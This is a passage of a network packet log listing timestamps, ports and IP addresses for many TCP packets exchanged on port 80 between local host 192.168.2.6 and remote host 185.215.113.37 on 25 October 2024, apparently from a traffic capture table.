Oct 25, 2024 01:27:13.152528048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152535915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152544022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152551889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152568102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152571917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152584076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152592897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152600050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152617931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.152633905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.152659893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153017044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153031111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153044939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153059959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153067112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153075933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153090954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153095961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153117895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153142929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153173923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153188944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153203011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153209925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153218985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153232098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153234959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153247118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153250933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153264046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153273106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153286934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153295040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153302908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153317928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153322935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153333902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153338909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153348923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153366089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153367043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153367043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153381109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153394938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153394938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153395891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153409958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153422117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153422117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153428078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153443098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153455019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153455973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153458118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153471947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153481960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153481960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153487921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153502941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153508902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153518915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153532028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153532982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153533936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153558969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.153554916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153584957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153584957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.153604984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154038906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154055119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154068947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154083967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154089928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154098034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154109955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154114962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154129982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154134989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154146910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154158115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154160976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154182911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154186010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154203892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154207945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154218912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154231071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154233932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154253960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154253960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154270887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154277086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154288054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154297113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154304028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154316902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154320002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154333115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154340982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154349089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154362917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154365063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154381037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154383898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154397011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154401064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154412985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154428959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154433012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154433012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154445887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154459953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154460907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154476881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154480934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154494047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154510975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.154516935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154536963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.154567003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155046940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155062914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155073881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155088902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155090094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155105114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155113935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155122042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155138969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155144930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155153990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155170918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155174017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155185938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155190945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155203104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155214071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155219078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155234098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:13.155252934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.155277967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.657448053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:13.662940025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:14.438734055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:14.438821077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:17.374629974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:17.380412102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:18.155083895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:18.155296087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:19.685873032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:19.691828012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:20.462723017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:20.462791920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:20.912525892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:20.917937994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.189629078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.189645052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.189699888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.189964056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190020084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.190027952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190041065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190063953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190076113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190083027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.190088034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190114975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.190155029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.190279007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190290928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190301895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190320969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.190370083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.190371037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190383911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190395117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.190439939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.190470934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.344866037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.344921112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.344935894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.344939947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.344948053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345019102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345030069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345030069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345077991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345094919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345105886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345128059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345153093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345211983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345222950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345233917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345272064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345308065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345334053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345345020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345355988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345375061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345377922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345398903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345401049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345424891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345431089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345447063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345452070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345473051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345475912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345485926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345499039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345519066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345545053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345560074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345570087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345578909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345590115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345599890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345633030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345652103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345662117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345671892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.345696926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345696926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.345733881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.500689983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500726938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500737906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500750065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500761986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.500797987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500811100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500823021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500827074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.500827074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.500854015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.500891924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.500906944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500916958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500927925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500940084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.500946045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.500978947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501020908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501033068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501043081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501053095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501064062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501065016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501100063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501157999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501169920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501179934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501188993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501194954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501203060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501231909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501267910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501270056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501281023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501290083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501316071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501316071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501334906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501344919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501377106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501395941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501538038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501589060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501636028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501677990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501724958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501774073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501816988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501842976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501908064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.501939058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.501983881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502002001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502057076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502084970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502129078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502152920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502197027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502223969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502238035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502269030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502316952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502347946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502367020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502401114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502448082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502473116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502486944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502516985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502561092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502582073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502624989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502641916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502681971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502707005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502748966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502773046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502819061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502845049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502861977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502891064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.502938032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.502955914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503010988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503026009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.503068924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503124952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503139019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.503177881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503221035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.503245115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503298998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503335953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.503362894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.503398895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503448009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.503467083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.503520012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.655669928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.655715942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.655741930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.655767918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:21.655822039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:21.655864954 CEST	80	49711	185.215.113.37	192.168.2.6
